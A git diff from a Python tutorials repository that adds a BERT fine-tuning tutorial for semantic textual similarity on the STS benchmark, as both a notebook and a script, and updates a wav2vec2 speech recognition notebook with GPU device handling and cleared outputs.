\n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
Training LossValid. LossTraining TimeValidation Time
epoch
10.0326390.0379720:05:290:00:28
20.0307370.0354720:05:280:00:28
30.0279200.0336400:05:290:00:28
40.0250900.0321850:05:290:00:28
50.0232170.0308020:05:270:00:28
60.0211990.0302230:05:290:00:28
70.0195670.0293890:05:280:00:28
80.0178660.0286640:05:290:00:28
\n", + "
\n", + " \n", + " \n", + " \n", + "\n", + " \n", + "
\n", + "
\n", + " " + ], + "text/plain": [ + " Training Loss Valid. Loss Training Time Validation Time\n", + "epoch \n", + "1 0.032639 0.037972 0:05:29 0:00:28\n", + "2 0.030737 0.035472 0:05:28 0:00:28\n", + "3 0.027920 0.033640 0:05:29 0:00:28\n", + "4 0.025090 0.032185 0:05:29 0:00:28\n", + "5 0.023217 0.030802 0:05:27 0:00:28\n", + "6 0.021199 0.030223 0:05:29 0:00:28\n", + "7 0.019567 0.029389 0:05:28 0:00:28\n", + "8 0.017866 0.028664 0:05:29 0:00:28" + ] + }, + "execution_count": 31, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Create a DataFrame from our training statistics\n", + "df_stats = pd.DataFrame(data=training_stats)\n", + "\n", + "# Use the 'epoch' as the row index\n", + "df_stats = df_stats.set_index('epoch')\n", + "\n", + "# Display the table\n", + "df_stats" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "X7ahIyP4zsXp", + "outputId": "ddd2fa70-5a34-4db3-b6ee-b784d59bfb2d" + }, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + "WARNING:datasets.builder:Found cached dataset stsb_multi_mt (/root/.cache/huggingface/datasets/stsb_multi_mt/en/1.0.0/a5d260e4b7aa82d1ab7379523a005a366d9b124c76a5a5cf0c4c5365458b0ba9)\n" + ] + } + ], + "source": [ + "test_dataset = load_dataset(\"stsb_multi_mt\", name=\"en\", split=\"test\")\n", + "\n", + "# Prepare the data\n", + "first_sent = [i['sentence1'] for i in test_dataset]\n", + "second_sent = [i['sentence2'] for i in test_dataset]\n", + "full_text = [[str(x), str(y)] for x,y in zip(first_sent, second_sent)]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "wD7oPneMkUhe" + }, + "outputs": [], + "source": [ + "model.eval()\n", + "\n", + "def predict_similarity(sentence_pair):\n", + " \n", + " test_input = tokenizer(sentence_pair, padding='max_length', max_length=128, truncation=True, return_tensors=\"pt\").to(device)\n", + " test_input['input_ids'] = test_input['input_ids']\n", + " test_input['attention_mask'] = test_input['attention_mask']\n", + " del test_input['token_type_ids']\n", + "\n", + " output = model(test_input)\n", + " sim = torch.nn.functional.cosine_similarity(output[0], output[1], dim=0).item()\n", + "\n", + " return sim" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "e-lGkcofz6hS", + "outputId": "dd20141d-0496-4426-a97d-0c020612106d" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Sentence 1: A cat is walking around a house.\n", + "Sentence 2: A woman is peeling potato.\n", + "Predicted similarity score: 0.01\n" + ] + } + ], + "source": [ + "example_1 = full_text[100]\n", + "print(f\"Sentence 1: {example_1[0]}\")\n", + "print(f\"Sentence 2: {example_1[1]}\")\n", + "print(f\"Predicted similarity score: {round(predict_similarity(example_1), 2)}\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "ViwfU0M2DOgh", + "outputId": "e677ea0a-4ac8-4d38-e0d8-06baa71bbcb9" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Sentence 1: Two men are playing football.\n", + "Sentence 2: Two men are practicing football.\n", + "Predicted similarity score: 0.84\n" + ] + } + ], + "source": [ + "example_2 = full_text[130]\n", + "print(f\"Sentence 1: {example_2[0]}\")\n", + "print(f\"Sentence 2: {example_2[1]}\")\n", + "print(f\"Predicted similarity score: {round(predict_similarity(example_2), 2)}\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "sGn-H7ARDnBG", + "outputId": "ea5b057d-40f4-4c9c-896e-ebe6223a6635" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Sentence 1: It varies by the situation.\n", + "Sentence 2: This varies by institution.\n", + "Predicted similarity score: 0.6\n" + ] + } + ], + "source": [ + "example_3 = full_text[812]\n", + "print(f\"Sentence 1: {example_3[0]}\")\n", + "print(f\"Sentence 2: {example_3[1]}\")\n", + "print(f\"Predicted similarity score: {round(predict_similarity(example_3), 2)}\")" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "_XovRH0VkXXs" + }, + "source": [ + "### Last but not least, save your model!" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "Om3wskAQkaJP" + }, + "outputs": [], + "source": [ + "PATH = 'your/path/here'\n", + "torch.save(model.state_dict(), PATH)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "wCe1I2soj-Kj" + }, + "outputs": [], + "source": [ + "# In order to load the model\n", + "# First, you have to create an instance of the model's class\n", + "# And use the saving path for the loading\n", + "# Don't forget to set the model to the evaluation state using .eval()\n", + "\n", + "model = BertForSTS()\n", + "model.load_state_dict(torch.load(PATH))\n", + "model.eval()" + ] + } + ], + "metadata": { + "accelerator": "GPU", + "colab": { + "gpuType": "T4", + "provenance": [] + }, + "gpuClass": "standard", + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python", + "version": "3.9.12" + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.py b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.py new file mode 100644 index 00000000..fd025d2e --- /dev/null +++ b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.py @@ -0,0 +1,390 @@ +# %% [markdown] +# ### 1. Install and import the required packages + +# %% +!pip install transformers sentence-transformers datasets + +# %% +from datasets import load_dataset +from sentence_transformers import SentenceTransformer, models +from transformers import BertTokenizer +from transformers import get_linear_schedule_with_warmup +import torch +from torch.optim import AdamW +from torch.utils.data import DataLoader +from tqdm import tqdm +import time +import datetime +import random +import numpy as np +import pandas as pd + +# %% [markdown] +# ### 2. Use Google Colab's GPU for training + +# %% +if torch.cuda.is_available(): + device = torch.device("cuda") + print(f'There are {torch.cuda.device_count()} GPU(s) available.') + print('We will use the GPU:', torch.cuda.get_device_name(0)) +else: + print('No GPU available, using the CPU instead.') + device = torch.device("cpu") + +# %% [markdown] +# ### **3.** Load and preview the Semantic Textual Similarity Benchmark (STSB) dataset + +# %% +# Load the English version of the STSB dataset +dataset = load_dataset("stsb_multi_mt", "en") + +# %% +print(dataset) + +# %% +print("A sample from the STSB dataset's training split:") +print(dataset['train'][98]) + +# %% [markdown] +# ### **4.** Define the dataset loader class +# + +# %% +# Instantiate the BERT tokenizer +# You can use larger variants of the model, here we're using the base model +tokenizer = BertTokenizer.from_pretrained('bert-base-uncased') + +# %% +class STSBDataset(torch.utils.data.Dataset): + + def __init__(self, dataset): + + # Normalize the similarity scores in the dataset + similarity_scores = [i['similarity_score'] for i in dataset] + self.normalized_similarity_scores = [i/5.0 for i in similarity_scores] + self.first_sentences = [i['sentence1'] for i in dataset] + self.second_sentences = [i['sentence2'] for i in dataset] + self.concatenated_sentences = [[str(x), str(y)] for x,y in zip(self.first_sentences, self.second_sentences)] + + def __len__(self): + + return len(self.concatenated_sentences) + + def get_batch_labels(self, idx): + + return torch.tensor(self.normalized_similarity_scores[idx]) + + def get_batch_texts(self, idx): + + return tokenizer(self.concatenated_sentences[idx], padding='max_length', max_length=128, truncation=True, return_tensors="pt") + + def __getitem__(self, idx): + + batch_texts = self.get_batch_texts(idx) + batch_y = self.get_batch_labels(idx) + + return batch_texts, batch_y + + +def collate_fn(texts): + + input_ids = texts['input_ids'] + attention_masks = texts['attention_mask'] + + features = [{'input_ids': input_id, 'attention_mask': attention_mask} + for input_id, attention_mask in zip(input_ids, attention_masks)] + + return features + +# %% [markdown] +# ### 5. Define the model class based on BERT + +# %% +class BertForSTS(torch.nn.Module): + + def __init__(self): + + super(BertForSTS, self).__init__() + self.bert = models.Transformer('bert-base-uncased', max_seq_length=128) + self.pooling_layer = models.Pooling(self.bert.get_word_embedding_dimension()) + self.sts_bert = SentenceTransformer(modules=[self.bert, self.pooling_layer]) + + def forward(self, input_data): + output = self.sts_bert(input_data)['sentence_embedding'] + return output + +# %% +# Instantiate the model and move it to GPU +model = BertForSTS() +model.to(device) + +# %% [markdown] +# ### 6. Define the Cosine Similarity loss function + +# %% +class CosineSimilarityLoss(torch.nn.Module): + + def __init__(self, loss_fn=torch.nn.MSELoss(), transform_fn=torch.nn.Identity()): + super(CosineSimilarityLoss, self).__init__() + self.loss_fn = loss_fn + self.transform_fn = transform_fn + self.cos_similarity = torch.nn.CosineSimilarity(dim=1) + + def forward(self, inputs, labels): + emb_1 = torch.stack([inp[0] for inp in inputs]) + emb_2 = torch.stack([inp[1] for inp in inputs]) + outputs = self.transform_fn(self.cos_similarity(emb_1, emb_2)) + return self.loss_fn(outputs, labels.squeeze()) + +# %% [markdown] +# ### 7. Prepare the training and validation data split + +# %% +train_ds = STSBDataset(dataset['train']) +val_ds = STSBDataset(dataset['dev']) + +# Create a 90-10 train-validation split. +train_size = len(train_ds) +val_size = len(val_ds) + +print('{:>5,} training samples'.format(train_size)) +print('{:>5,} validation samples'.format(val_size)) + +# %% +batch_size = 8 + +train_dataloader = DataLoader( + train_ds, # The training samples. + num_workers = 4, + batch_size = batch_size, # Use this batch size. + shuffle=True # Select samples randomly for each batch + ) + +validation_dataloader = DataLoader( + val_ds, + num_workers = 4, + batch_size = batch_size # Use the same batch size + ) + +# %% [markdown] +# ### 8. Define the Optimizer and Scheduler + +# %% +optimizer = AdamW(model.parameters(), + lr = 1e-6) + +# %% +epochs = 8 + +# Total number of training steps is [number of batches] x [number of epochs]. +total_steps = len(train_dataloader) * epochs + +scheduler = get_linear_schedule_with_warmup(optimizer, + num_warmup_steps = 0, + num_training_steps = total_steps) + +# %% [markdown] +# ### 9. Define a helper function for formatting the elapsed training time as `hh:mm:ss` + +# %% +# Takes a time in seconds and returns a string hh:mm:ss +def format_time(elapsed): + # Round to the nearest second. + elapsed_rounded = int(round((elapsed))) + + # Format as hh:mm:ss + return str(datetime.timedelta(seconds=elapsed_rounded)) + +# %% [markdown] +# ### 10. Define the training function, and start the training loop + +# %% +def train(): + seed_val = 42 + + criterion = CosineSimilarityLoss() + criterion = criterion.to(device) + + random.seed(seed_val) + torch.manual_seed(seed_val) + + # We'll store a number of quantities such as training and validation loss, + # validation accuracy, and timings. + training_stats = [] + total_t0 = time.time() + + for epoch_i in range(0, epochs): + + # ======================================== + # Training + # ======================================== + + print("") + print('======== Epoch {:} / {:} ========'.format(epoch_i + 1, epochs)) + print('Training...') + + t0 = time.time() + + total_train_loss = 0 + + model.train() + + # For each batch of training data... + for train_data, train_label in tqdm(train_dataloader): + + train_data['input_ids'] = train_data['input_ids'].to(device) + train_data['attention_mask'] = train_data['attention_mask'].to(device) + + train_data = collate_fn(train_data) + model.zero_grad() + + output = [model(feature) for feature in train_data] + + loss = criterion(output, train_label.to(device)) + total_train_loss += loss.item() + + loss.backward() + torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0) + optimizer.step() + scheduler.step() + + + # Calculate the average loss over all of the batches. + avg_train_loss = total_train_loss / len(train_dataloader) + + # Measure how long this epoch took. + training_time = format_time(time.time() - t0) + + print("") + print(" Average training loss: {0:.5f}".format(avg_train_loss)) + print(" Training epoch took: {:}".format(training_time)) + + # ======================================== + # Validation + # ======================================== + + print("") + print("Running Validation...") + + t0 = time.time() + + model.eval() + + total_eval_accuracy = 0 + total_eval_loss = 0 + nb_eval_steps = 0 + + # Evaluate data for one epoch + for val_data, val_label in tqdm(validation_dataloader): + + val_data['input_ids'] = val_data['input_ids'].to(device) + val_data['attention_mask'] = val_data['attention_mask'].to(device) + + val_data = collate_fn(val_data) + + with torch.no_grad(): + output = [model(feature) for feature in val_data] + + loss = criterion(output, val_label.to(device)) + total_eval_loss += loss.item() + + # Calculate the average loss over all of the batches. + avg_val_loss = total_eval_loss / len(validation_dataloader) + + # Measure how long the validation run took. + validation_time = format_time(time.time() - t0) + + print(" Validation Loss: {0:.5f}".format(avg_val_loss)) + print(" Validation took: {:}".format(validation_time)) + + # Record all statistics from this epoch. + training_stats.append( + { + 'epoch': epoch_i + 1, + 'Training Loss': avg_train_loss, + 'Valid. Loss': avg_val_loss, + 'Training Time': training_time, + 'Validation Time': validation_time + } + ) + + print("") + print("Training complete!") + + print("Total training took {:} (h:mm:ss)".format(format_time(time.time()-total_t0))) + + return model, training_stats + +# %% +# Launch the training +model, training_stats = train() + +# %% +# Create a DataFrame from our training statistics +df_stats = pd.DataFrame(data=training_stats) + +# Use the 'epoch' as the row index +df_stats = df_stats.set_index('epoch') + +# Display the table +df_stats + +# %% +test_dataset = load_dataset("stsb_multi_mt", name="en", split="test") + +# Prepare the data +first_sent = [i['sentence1'] for i in test_dataset] +second_sent = [i['sentence2'] for i in test_dataset] +full_text = [[str(x), str(y)] for x,y in zip(first_sent, second_sent)] + +# %% +model.eval() + +def predict_similarity(sentence_pair): + + test_input = tokenizer(sentence_pair, padding='max_length', max_length=128, truncation=True, return_tensors="pt").to(device) + test_input['input_ids'] = test_input['input_ids'] + test_input['attention_mask'] = test_input['attention_mask'] + del test_input['token_type_ids'] + + output = model(test_input) + sim = torch.nn.functional.cosine_similarity(output[0], output[1], dim=0).item() + + return sim + +# %% +example_1 = full_text[100] +print(f"Sentence 1: {example_1[0]}") +print(f"Sentence 2: {example_1[1]}") +print(f"Predicted similarity score: {round(predict_similarity(example_1), 2)}") + +# %% +example_2 = full_text[130] +print(f"Sentence 1: {example_2[0]}") +print(f"Sentence 2: {example_2[1]}") +print(f"Predicted similarity score: {round(predict_similarity(example_2), 2)}") + +# %% +example_3 = full_text[812] +print(f"Sentence 1: {example_3[0]}") +print(f"Sentence 2: {example_3[1]}") +print(f"Predicted similarity score: {round(predict_similarity(example_3), 2)}") + +# %% [markdown] +# ### Last but not least, save your model! + +# %% +PATH = 'your/path/here' +torch.save(model.state_dict(), PATH) + +# %% +# In order to load the model +# First, you have to create an instance of the model's class +# And use the saving path for the loading +# Don't forget to set the model to the evaluation state using .eval() + +model = BertForSTS() +model.load_state_dict(torch.load(PATH)) +model.eval() + + diff --git a/machine-learning/nlp/semantic-textual-similarity/README.md b/machine-learning/nlp/semantic-textual-similarity/README.md new file mode 100644 index 00000000..20745c3f --- /dev/null +++ b/machine-learning/nlp/semantic-textual-similarity/README.md @@ -0,0 +1 @@ +# [How to Fine Tune BERT for Semantic Textual Similarity using Transformers in Python](https://www.thepythoncode.com/article/finetune-bert-for-semantic-textual-similarity-in-python) \ No newline at end of file diff --git a/machine-learning/nlp/semantic-textual-similarity/requirements.txt b/machine-learning/nlp/semantic-textual-similarity/requirements.txt new file mode 100644 index 00000000..c481c303 --- /dev/null +++ b/machine-learning/nlp/semantic-textual-similarity/requirements.txt @@ -0,0 +1,6 @@ +transformers +sentence-transformers +datasets +tqdm +numpy +pandas \ No newline at end of file diff --git a/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.ipynb b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.ipynb index e5d9d5c9..941eff4c 100644 --- a/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.ipynb +++ b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.ipynb @@ -2,103 +2,35 @@ "cells": [ { "cell_type": "code", - "execution_count": 1, + "execution_count": null, "metadata": { - "colab": { - "base_uri": "https://localhost:8080/" - }, - "id": "KqiF_SjMysD0", - "outputId": "75e4c923-9dff-4768-ec0e-e7d060518b79" + "id": "KqiF_SjMysD0" }, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Looking in indexes: https://pypi.org/simple, https://us-python.pkg.dev/colab-wheels/public/simple/\n", - "Collecting transformers\n", - " Downloading transformers-4.28.1-py3-none-any.whl (7.0 MB)\n", - "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m7.0/7.0 MB\u001b[0m \u001b[31m39.8 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n", - "\u001b[?25hRequirement already satisfied: soundfile in /usr/local/lib/python3.9/dist-packages (0.12.1)\n", - "Collecting sentencepiece\n", - " Downloading sentencepiece-0.1.98-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (1.3 MB)\n", - "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m1.3/1.3 MB\u001b[0m \u001b[31m46.9 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n", - "\u001b[?25hRequirement already satisfied: torchaudio in /usr/local/lib/python3.9/dist-packages (2.0.1+cu118)\n", - "Collecting pydub\n", - " Downloading pydub-0.25.1-py2.py3-none-any.whl (32 kB)\n", - "Requirement already satisfied: regex!=2019.12.17 in /usr/local/lib/python3.9/dist-packages (from transformers) (2022.10.31)\n", - "Requirement already satisfied: numpy>=1.17 in /usr/local/lib/python3.9/dist-packages (from transformers) (1.22.4)\n", - "Requirement already satisfied: packaging>=20.0 in /usr/local/lib/python3.9/dist-packages (from transformers) (23.1)\n", - "Collecting tokenizers!=0.11.3,<0.14,>=0.11.1\n", - " Downloading tokenizers-0.13.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (7.8 MB)\n", - "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m7.8/7.8 MB\u001b[0m \u001b[31m70.7 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n", - "\u001b[?25hRequirement already satisfied: pyyaml>=5.1 in /usr/local/lib/python3.9/dist-packages (from transformers) (6.0)\n", - "Requirement already satisfied: tqdm>=4.27 in /usr/local/lib/python3.9/dist-packages (from transformers) (4.65.0)\n", - "Requirement already satisfied: requests in /usr/local/lib/python3.9/dist-packages (from transformers) (2.27.1)\n", - "Requirement already satisfied: filelock in /usr/local/lib/python3.9/dist-packages (from transformers) (3.11.0)\n", - "Collecting huggingface-hub<1.0,>=0.11.0\n", - " Downloading huggingface_hub-0.13.4-py3-none-any.whl (200 kB)\n", - "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m200.1/200.1 kB\u001b[0m \u001b[31m8.8 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n", - "\u001b[?25hRequirement already satisfied: cffi>=1.0 in /usr/local/lib/python3.9/dist-packages (from soundfile) (1.15.1)\n", - "Requirement already satisfied: torch==2.0.0 in /usr/local/lib/python3.9/dist-packages (from torchaudio) (2.0.0+cu118)\n", - "Requirement already satisfied: triton==2.0.0 in /usr/local/lib/python3.9/dist-packages (from torch==2.0.0->torchaudio) (2.0.0)\n", - "Requirement already satisfied: networkx in /usr/local/lib/python3.9/dist-packages (from torch==2.0.0->torchaudio) (3.1)\n", - "Requirement already satisfied: sympy in /usr/local/lib/python3.9/dist-packages (from torch==2.0.0->torchaudio) (1.11.1)\n", - "Requirement already satisfied: jinja2 in /usr/local/lib/python3.9/dist-packages (from torch==2.0.0->torchaudio) (3.1.2)\n", - "Requirement already satisfied: typing-extensions in /usr/local/lib/python3.9/dist-packages (from torch==2.0.0->torchaudio) (4.5.0)\n", - "Requirement already satisfied: cmake in /usr/local/lib/python3.9/dist-packages (from triton==2.0.0->torch==2.0.0->torchaudio) (3.25.2)\n", - "Requirement already satisfied: lit in /usr/local/lib/python3.9/dist-packages (from triton==2.0.0->torch==2.0.0->torchaudio) (16.0.1)\n", - "Requirement already satisfied: pycparser in /usr/local/lib/python3.9/dist-packages (from cffi>=1.0->soundfile) (2.21)\n", - "Requirement already satisfied: charset-normalizer~=2.0.0 in /usr/local/lib/python3.9/dist-packages (from requests->transformers) (2.0.12)\n", - "Requirement already satisfied: idna<4,>=2.5 in /usr/local/lib/python3.9/dist-packages (from requests->transformers) (3.4)\n", - "Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.9/dist-packages (from requests->transformers) (2022.12.7)\n", - "Requirement already satisfied: urllib3<1.27,>=1.21.1 in /usr/local/lib/python3.9/dist-packages (from requests->transformers) (1.26.15)\n", - "Requirement already satisfied: MarkupSafe>=2.0 in /usr/local/lib/python3.9/dist-packages (from jinja2->torch==2.0.0->torchaudio) (2.1.2)\n", - "Requirement already satisfied: mpmath>=0.19 in /usr/local/lib/python3.9/dist-packages (from sympy->torch==2.0.0->torchaudio) (1.3.0)\n", - "Installing collected packages: tokenizers, sentencepiece, pydub, huggingface-hub, transformers\n", - "Successfully installed huggingface-hub-0.13.4 pydub-0.25.1 sentencepiece-0.1.98 tokenizers-0.13.3 transformers-4.28.1\n" - ] - } - ], + "outputs": [], "source": [ "!pip install transformers==4.28.1 soundfile sentencepiece torchaudio pydub" ] }, { "cell_type": "code", - "execution_count": 1, + "execution_count": null, "metadata": { - "colab": { - "base_uri": "https://localhost:8080/" - }, - "id": "IA7sFGYoywJv", - "outputId": "d1765412-e25b-4586-aea8-515de8136bec" + "id": "IA7sFGYoywJv" }, - "outputs": [ - { - "name": "stderr", - "output_type": "stream", - "text": [ - "WARNING:jax._src.xla_bridge:No GPU/TPU found, falling back to CPU. (Set TF_CPP_MIN_LOG_LEVEL=0 and rerun for more info.)\n", - "/usr/local/lib/python3.9/dist-packages/transformers/generation_utils.py:24: FutureWarning: Importing `GenerationMixin` from `src/transformers/generation_utils.py` is deprecated and will be removed in Transformers v5. Import as `from transformers import GenerationMixin` instead.\n", - " warnings.warn(\n", - "/usr/local/lib/python3.9/dist-packages/transformers/generation_tf_utils.py:24: FutureWarning: Importing `TFGenerationMixin` from `src/transformers/generation_tf_utils.py` is deprecated and will be removed in Transformers v5. Import as `from transformers import TFGenerationMixin` instead.\n", - " warnings.warn(\n", - "/usr/local/lib/python3.9/dist-packages/transformers/generation_flax_utils.py:24: FutureWarning: Importing `FlaxGenerationMixin` from `src/transformers/generation_flax_utils.py` is deprecated and will be removed in Transformers v5. Import as `from transformers import FlaxGenerationMixin` instead.\n", - " warnings.warn(\n" - ] - } - ], + "outputs": [], "source": [ "from transformers import *\n", "import torch\n", "import soundfile as sf\n", "# import librosa\n", "import os\n", - "import torchaudio" + "import torchaudio\n", + "\n", + "device = \"cuda:0\" if torch.cuda.is_available() else \"cpu\"" ] }, { + "attachments": {}, "cell_type": "markdown", "metadata": { "id": "VJBoe7N6PSZO" @@ -120,14 +52,14 @@ "# wav2vec2_model_name = \"jonatasgrosman/wav2vec2-large-xlsr-53-english\" # English-only, 1.26GB\n", "# wav2vec2_model_name = \"jonatasgrosman/wav2vec2-large-xlsr-53-arabic\" # Arabic-only, 1.26GB\n", "# wav2vec2_model_name = \"jonatasgrosman/wav2vec2-large-xlsr-53-spanish\" # Spanish-only, 1.26GB\n", - "# load model and tokenizer\n", + "\n", "wav2vec2_processor = Wav2Vec2Processor.from_pretrained(wav2vec2_model_name)\n", - "wav2vec2_model = Wav2Vec2ForCTC.from_pretrained(wav2vec2_model_name)" + "wav2vec2_model = Wav2Vec2ForCTC.from_pretrained(wav2vec2_model_name).to(device)" ] }, { "cell_type": "code", - "execution_count": 3, + "execution_count": 2, "metadata": { "id": "GdEIJtkzEzSN" }, @@ -138,20 +70,20 @@ "# audio_url = \"http://www.fit.vutbr.cz/~motlicek/sympatex/f2btrop6.0.wav/"\n", "# audio_url = \"https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/16-122828-0002.wav/"\n", "audio_url = \"https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/30-4447-0004.wav/"\n", + "# audio_url = \"https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav/"\n", "# audio_url = \"https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/7601-291468-0006.wav/"\n", - "# audio_url = \"https://file-examples-com.github.io/uploads/2017/11/file_example_WAV_1MG.wav/"\n", "# audio_url = \"http://www0.cs.ucl.ac.uk/teaching/GZ05/samples/lathe.wav/"" ] }, { "cell_type": "code", - "execution_count": 4, + "execution_count": 5, "metadata": { "colab": { "base_uri": "https://localhost:8080/" }, "id": "pFm8rwjMt7TC", - "outputId": "000cee13-318e-454c-b127-061f8e09b278" + "outputId": "8fec671b-67b6-4733-9d5a-d8a2a1e92793" }, "outputs": [ { @@ -160,7 +92,7 @@ "(16000, torch.Size([274000]))" ] }, - "execution_count": 4, + "execution_count": 5, "metadata": {}, "output_type": "execute_result" } @@ -176,13 +108,13 @@ }, { "cell_type": "code", - "execution_count": 5, + "execution_count": 6, "metadata": { "colab": { "base_uri": "https://localhost:8080/" }, "id": "563Nf3xsMnJE", - "outputId": "0a370eb8-1f55-457a-8ab2-ccb55c6d24b3" + "outputId": "f18bfd81-cf2b-49ef-e76b-cd4967bd2488" }, "outputs": [ { @@ -191,7 +123,7 @@ "torch.Size([274000])" ] }, - "execution_count": 5, + "execution_count": 6, "metadata": {}, "output_type": "execute_result" } @@ -205,13 +137,13 @@ }, { "cell_type": "code", - "execution_count": 6, + "execution_count": 9, "metadata": { "colab": { "base_uri": "https://localhost:8080/" }, "id": "qtTD3gIyeNwK", - "outputId": "122fb2f7-f962-4db4-a1d7-60716718e09d" + "outputId": "5892959b-4e24-4e51-b3e6-294f18c2eb51" }, "outputs": [ { @@ -220,26 +152,26 @@ "torch.Size([1, 274000])" ] }, - "execution_count": 6, + "execution_count": 9, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# tokenize our wav\n", - "input_values = wav2vec2_processor(speech, return_tensors=\"pt\", sampling_rate=16000)[\"input_values\"]\n", + "input_values = wav2vec2_processor(speech, return_tensors=\"pt\", sampling_rate=16000)[\"input_values\"].to(device)\n", "input_values.shape" ] }, { "cell_type": "code", - "execution_count": 7, + "execution_count": 10, "metadata": { "colab": { "base_uri": "https://localhost:8080/" }, "id": "_O7cCe7veTgB", - "outputId": "1d693298-5c53-4405-d359-4ee197c950e0" + "outputId": "5c275a78-356a-4801-d538-ff9d2395de8a" }, "outputs": [ { @@ -248,7 +180,7 @@ "torch.Size([1, 856, 32])" ] }, - "execution_count": 7, + "execution_count": 10, "metadata": {}, "output_type": "execute_result" } @@ -261,13 +193,13 @@ }, { "cell_type": "code", - "execution_count": 8, + "execution_count": 11, "metadata": { "colab": { "base_uri": "https://localhost:8080/" }, "id": "Gx6XWoTRejR0", - "outputId": "350a1940-50ee-4ef0-df96-3e20d35b6c8f" + "outputId": "013597c8-693f-4dcf-e82e-5da6b39c205b" }, "outputs": [ { @@ -276,7 +208,7 @@ "torch.Size([1, 856])" ] }, - "execution_count": 8, + "execution_count": 11, "metadata": {}, "output_type": "execute_result" } @@ -289,14 +221,14 @@ }, { "cell_type": "code", - "execution_count": 9, + "execution_count": 12, "metadata": { "colab": { "base_uri": "https://localhost:8080/", - "height": 70 + "height": 54 }, "id": "tyWIw6rJeyN-", - "outputId": "ca354ccf-6424-46a7-ade7-296a4d69aed1" + "outputId": "ed070c05-2f53-4880-cfb4-4a2e2936ee0d" }, "outputs": [ { @@ -308,7 +240,7 @@ "'and missus goddard three ladies almost always at the service of an invitation from hartfield and who were fetched and carried home so often that mister woodhouse thought it no hardship for either james or the horses had it taken place only once a year it would have been a grievance'" ] }, - "execution_count": 9, + "execution_count": 12, "metadata": {}, "output_type": "execute_result" } @@ -321,7 +253,7 @@ }, { "cell_type": "code", - "execution_count": 10, + "execution_count": 3, "metadata": { "id": "TJpRO65uqP30" }, @@ -338,36 +270,33 @@ }, { "cell_type": "code", - "execution_count": 11, + "execution_count": 4, "metadata": { "id": "XDYMY4ZZLl9Q" }, "outputs": [], "source": [ "def get_transcription_wav2vec2(audio_path, model, processor):\n", - " # load our wav file\n", " speech = load_audio(audio_path)\n", - " # get the input features\n", - " input_features = processor(speech, return_tensors=\"pt\", sampling_rate=16000)[\"input_values\"]\n", + " input_features = processor(speech, return_tensors=\"pt\", 